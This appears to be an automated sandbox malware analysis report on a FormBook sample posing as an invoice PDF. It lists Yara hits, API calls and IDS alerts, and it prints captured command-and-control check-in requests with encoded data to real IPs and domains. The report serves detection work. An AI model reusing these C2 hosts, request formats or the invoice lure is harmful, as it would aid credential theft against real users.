Windows Analysis Report
Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

AI detected suspicious sample

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.4507703675.0000000006490000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4501630605.0000000003000000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4502701769.0000000004C60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2353981080.0000000003A50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4502765838.0000000004CB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2353173694.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4503127560.00000000031A0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2354040519.0000000004800000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Joe Sandbox ML: detected

Source: Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: fQbMdgFgKkVEm.exe, 00000004.00000000.2274863523.000000000042E000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: Outstanding Invoices Spreadsheet Scan 00495_PDF.exe, 00000000.00000003.2039615159.0000000003ED0000.00000004.00001000.00020000.00000000.sdmp, Outstanding Invoices Spreadsheet Scan 00495_PDF.exe, 00000000.00000003.2039806550.0000000004070000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2260658057.0000000003500000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2353547525.000000000389E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2353547525.0000000003700000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2258852027.0000000003300000.00000004.00000020.00020000.00000000.sdmp, xwizard.exe, 00000005.00000003.2355523208.0000000004D14000.00000004.00000020.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503032997.000000000505E000.00000040.00001000.00020000.00000000.sdmp, xwizard.exe, 00000005.00000003.2353468444.0000000004B61000.00000004.00000020.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503032997.0000000004EC0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Outstanding Invoices Spreadsheet Scan 00495_PDF.exe, 00000000.00000003.2039615159.0000000003ED0000.00000004.00001000.00020000.00000000.sdmp, Outstanding Invoices Spreadsheet Scan 00495_PDF.exe, 00000000.00000003.2039806550.0000000004070000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.2260658057.0000000003500000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2353547525.000000000389E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2353547525.0000000003700000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2258852027.0000000003300000.00000004.00000020.00020000.00000000.sdmp, xwizard.exe, xwizard.exe, 00000005.00000003.2355523208.0000000004D14000.00000004.00000020.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503032997.000000000505E000.00000040.00001000.00020000.00000000.sdmp, xwizard.exe, 00000005.00000003.2353468444.0000000004B61000.00000004.00000020.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503032997.0000000004EC0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: xwizard.pdb source: svchost.exe, 00000002.00000002.2353401714.0000000003012000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321941028.000000000302B000.00000004.00000020.00020000.00000000.sdmp, fQbMdgFgKkVEm.exe, 00000004.00000003.2423482550.0000000000B40000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: fQbMdgFgKkVEm.exe, 00000004.00000002.4506238752.000000000405C000.00000004.80000000.00040000.00000000.sdmp, xwizard.exe, 00000005.00000002.4501845196.0000000003216000.00000004.00000020.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503542218.00000000054EC000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000007.00000002.2636924020.000000002FB8C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: fQbMdgFgKkVEm.exe, 00000004.00000002.4506238752.000000000405C000.00000004.80000000.00040000.00000000.sdmp, xwizard.exe, 00000005.00000002.4501845196.0000000003216000.00000004.00000020.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503542218.00000000054EC000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000007.00000002.2636924020.000000002FB8C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: xwizard.pdbGCTL source: svchost.exe, 00000002.00000002.2353401714.0000000003012000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321941028.000000000302B000.00000004.00000020.00020000.00000000.sdmp, fQbMdgFgKkVEm.exe, 00000004.00000003.2423482550.0000000000B40000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00436ADE
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00452126
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_0045C999 FindFirstFileW,FindNextFileW,FindClose,	0_2_0045C999
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00434BEE
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_0045DD7C FindFirstFileW,FindClose,	0_2_0045DD7C
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_0044BD29 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,	0_2_0044BD29
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle,	0_2_00436D2D
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00442E1F
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_00475FE5
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_0044BF8D _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_0044BF8D
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_0301C840 FindFirstFileW,FindNextFileW,FindClose,	5_2_0301C840

Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	Code function: 4x nop then pop edi	4_2_064D8B1C
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	Code function: 4x nop then xor eax, eax	4_2_064DC31F
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 4x nop then xor eax, eax	5_2_03009E90
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 4x nop then mov ebx, 00000004h	5_2_04DB04E1

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49816 -> 180.178.39.236:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49816 -> 180.178.39.236:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49839 -> 203.161.49.193:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49833 -> 203.161.49.193:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49808 -> 180.178.39.236:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49757 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49757 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49878 -> 217.160.0.132:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49884 -> 217.160.0.132:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49872 -> 217.160.0.132:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49802 -> 180.178.39.236:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49894 -> 217.160.0.132:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49894 -> 217.160.0.132:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49911 -> 216.40.34.41:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49917 -> 216.40.34.41:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49845 -> 203.161.49.193:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49961 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49945 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49968 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50001 -> 74.48.34.43:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:50002 -> 74.48.34.43:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:50002 -> 74.48.34.43:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:50010 -> 178.79.184.196:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:50010 -> 178.79.184.196:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50000 -> 74.48.34.43:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50008 -> 178.79.184.196:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49968 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49999 -> 74.48.34.43:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49997 -> 46.38.243.234:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:50006 -> 23.167.152.41:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:50006 -> 23.167.152.41:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50012 -> 45.79.252.94:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50005 -> 23.167.152.41:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50007 -> 178.79.184.196:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:50014 -> 45.79.252.94:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:50014 -> 45.79.252.94:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49796 -> 180.178.39.236:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50009 -> 178.79.184.196:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50004 -> 23.167.152.41:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49995 -> 46.38.243.234:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50003 -> 23.167.152.41:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49998 -> 46.38.243.234:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49998 -> 46.38.243.234:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50016 -> 31.31.198.145:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49955 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50011 -> 45.79.252.94:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49934 -> 216.40.34.41:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49934 -> 216.40.34.41:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49923 -> 216.40.34.41:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49854 -> 203.161.49.193:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49854 -> 203.161.49.193:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50015 -> 31.31.198.145:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49996 -> 46.38.243.234:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50013 -> 45.79.252.94:80

Source: Joe Sandbox View

IP Address: 203.161.49.193 203.161.49.193

Source: Joe Sandbox View	ASN Name: ONEANDONE-ASBrauerstrasse48DE ONEANDONE-ASBrauerstrasse48DE
Source: Joe Sandbox View	ASN Name: AS-REGRU AS-REGRU
Source: Joe Sandbox View	ASN Name: LINODE-APLinodeLLCUS LINODE-APLinodeLLCUS
Source: Joe Sandbox View	ASN Name: VNPT-AS-VNVNPTCorpVN VNPT-AS-VNVNPTCorpVN

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Code function: 0_2_0044289D InternetQueryDataAvailable,InternetReadFile,

0_2_0044289D

Source: global traffic	HTTP traffic detected: GET /q97g/?UTJ0bhC=KK21uW0xHvorSk2vqcKD6wcSSPO+hyXQDk2L0YWF9dCKmUutgv1vRlzTvSsha0PsjgX1XZeK5J0dHVwIQm2B9BwzLeItohU7wCU4mTfCSECcS++9DVG9zxqTCFVXtteVmg==&Pt=fDlHoNWP0RBd HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USHost: www.regents.healthConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /tizt/?UTJ0bhC=qmi+mqOOYFdY+IQEwG2FxqFWHTg0Nvqmcf68l9cfSo4s6etqUFq9dTq1GSeGSZSg4PJsoSCL3HUy+ahRuGvxg8Ma1a6j66cDsm0o40uJcJz1cVDMGreiQH32Lp7znSrnRg==&Pt=fDlHoNWP0RBd HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USHost: www.73613.shopConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /n54u/?UTJ0bhC=ulF5vHaDZay2YbeuiqBK2WYi+52Jh6JWqdjuqGF6KuylXEStCuZI2HnnajvzLLcIwfuU3NLav5OgU7G/d2tti5seczbyW8/HcZoVhAsi6mpRcK6hsQ2VCyFx3Djg7K8V+w==&Pt=fDlHoNWP0RBd HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USHost: www.eco-tops.websiteConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /8u3q/?UTJ0bhC=cm4ubz77/lIwMrhkdRh+pZgL/Bl5XR/XxQMTOGkT00YioQcuvl4ad7FbuK2ZVTUxGoXbXPFIPc1cKkfmvUrJch/nk290kcPG1JSPbhB/GQRlqu+N9s0n8p9+2HNGTNszmQ==&Pt=fDlHoNWP0RBd HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USHost: www.astrext.infoConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /f83s/?Pt=fDlHoNWP0RBd&UTJ0bhC=VieK6f8ncaDfGPivzEEx/UZGk95Gg2UmvQp6RJCzQOx2HiGD45aR4i1hBpXETM6WRWeDEM4UlZawI5DKshaxB7d7bPT0ms8iN9yo/alCEGhGDXP2xLsxmillvf5/o1Iesw== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USHost: www.newhopetoday.appConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /gnm5/?UTJ0bhC=ti6/QOgt3F3Nl8C8p5prtjMaW6Y6IMW9lnWD5iRmif1oLulHgQhjY9iWeVbvuaIrm8dL1NajAOuvhk5PRRHWg3CbVnS8VxpDrxjuQQLZCEWAlJrEzJ1sdVkNA6M29CxpkA==&Pt=fDlHoNWP0RBd HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USHost: www.binacamasala.comConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /zdtk/?UTJ0bhC=CZnbO61oB8I0t5jp9Yjra7+H6pVn9XqOl0/1mbdze6wgsABtqXuHlKk0QinpfTYx1CmGDnkfwpenOsZSDrrPpuKT49SBu0EMo/Pb2gUHZetqgGuH1mNT0tuZ4b1AatRTdQ==&Pt=fDlHoNWP0RBd HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USHost: www.dlion.netConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /uwg4/?UTJ0bhC=FrIvBq+7M+fO4hFqHVkj/h0MgBQBdbkSyhygt3ownjEqtb7lfSc+JwlWQ4K/WGS3VMA0fSxFYiNdEScU0GRMxZDLyu9hbg86BnUYxIHc13WjzD0wj4NYGBX3EB3iY/brcg==&Pt=fDlHoNWP0RBd HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USHost: www.bioart.buzzConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /4i55/?Pt=fDlHoNWP0RBd&UTJ0bhC=u0M432eX/xZzvajH7Zn4oj16d1M/QQvp1keQ4HSaLqVhf5mFg72lw0bKX+EdY5KNk4RXhc2Czo9qgjxQ7/1U7lrsyz5+vZkdL+U3wCm0CZUZdVO/eyd7jrB+924QONEljg== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USHost: www.06753.photoConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /tgvj/?UTJ0bhC=JzeZZokphZySGFVIg3fW0H54lk8TDwrrWR2sEOIWidbOqUuKdhJmv9JQEF9O1RD5XyTbq6Omqzt9QHi6LTaoobUAF4YLNuHihjnBZMeTneWuYVNORWnArhJV2H75YPAzvg==&Pt=fDlHoNWP0RBd HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USHost: www.gucciqueen.shopConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /p39a/?Pt=fDlHoNWP0RBd&UTJ0bhC=NYM041vNjejJmgmdhSmYVhxa0+fvP9BrXtGCCHxlIJ8IspgLPDvRAlXhNJfLJHdGPUuKZVGM9QJ5KO5zmQZa2t3P5lFBsDeA2Uq7kE2QIl2fKsXQslF4XsSGUXNQZJSmUg== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USHost: www.premium303max.restConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36

Source: fQbMdgFgKkVEm.exe, 00000004.00000002.4506238752.0000000004A8C000.00000004.80000000.00040000.00000000.sdmp, xwizard.exe, 00000005.00000002.4505142286.0000000007E30000.00000004.00000800.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503542218.0000000005F1C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: <li><a rel="nofollow" href="https://twitter.com/hover"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100"><circle cx="50" cy="50" r="50" /><g transform="scale(0.3 0.3) translate(-200 -300)"><path d="m 453.82593,412.80619 c -6.3097,2.79897 -13.09189,4.68982 -20.20852,5.54049 7.26413,-4.35454 12.84406,-11.24992 15.47067,-19.46675 -6.79934,4.03295 -14.3293,6.96055 -22.34461,8.53841 -6.41775,-6.83879 -15.56243,-11.111 -25.68298,-11.111 -19.43159,0 -35.18696,15.75365 -35.18696,35.18525 0,2.75781 0.31128,5.44359 0.91155,8.01875 -29.24344,-1.46723 -55.16995,-15.47582 -72.52461,-36.76396 -3.02879,5.19662 -4.76443,11.24048 -4.76443,17.6891 0,12.20777 6.21194,22.97747 15.65332,29.28716 -5.76773,-0.18265 -11.19331,-1.76565 -15.93716,-4.40083 -0.004,0.14663 -0.004,0.29412 -0.004,0.44248 0,17.04767 12.12889,31.26806 28.22555,34.50266 -2.95247,0.80436 -6.06101,1.23398 -9.26989,1.23398 -2.2673,0 